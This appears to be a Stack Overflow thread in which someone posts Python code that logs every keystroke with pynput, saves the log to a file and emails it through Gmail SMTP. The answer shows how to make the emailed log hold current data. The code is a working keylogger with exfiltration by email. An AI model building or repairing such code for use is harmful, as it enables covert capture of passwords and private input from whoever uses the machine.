-1

I'm trying to make a program that captures everything I type on my keyboard, saves it to a text file and emails it to me. Every time it emails it it is empty or has text from the last time I ran it. I'm not sure what to do.

from pynput.keyboard import Key, Listener
from datetime import datetime
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders

email_user = 'username@gmail.com'
email_send = 'reciever@gmail.com'
password = 'password'

subject = 'file'

msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject

body = 'hi'

filename='filename.txt'
attachment =open(filename, 'rb')

part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment; filename= "+filename)

msg.attach(part)
msg.attach(MIMEText(body,'plain'))
text = msg.as_string()

server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(email_user, password)

now = datetime.now()
 
dt_string = now.strftime("%d/%m/%Y %H:%M:%S")   

def show(key):
    file = open('filename.txt', 'a+')
    file.write(dt_string + " ")

    if key != Key.backspace and key != Key.left and key != Key.right and key != Key.up and key != Key.down and key != Key.shift and key != Key.shift_r:
        file.write(format(key)+'\n')

        
        if key == Key.delete:
            server.sendmail(email_user, email_send,text)
            return False

with Listener(on_press = show) as listener:
    listener.join()

1 Answers1

0

Your text is empty as it is initialized at the start and when you're sending the email the same empty text is being sent. What you need to do is read through the file before you send your email. Call a function above server.sendmail(email_user, email_send,text) as text = readFile()

def readFile():
   ** read your file **
   ** and return text **
lyncx
  • 680
  • 4
  • 8
  • While we have your attention, probably update your email sending code to use the modern Python 3.6+ `EmailMessage()` API instead of this clunky old manual assembling of MIME parts. – tripleee Apr 30 '21 at 04:15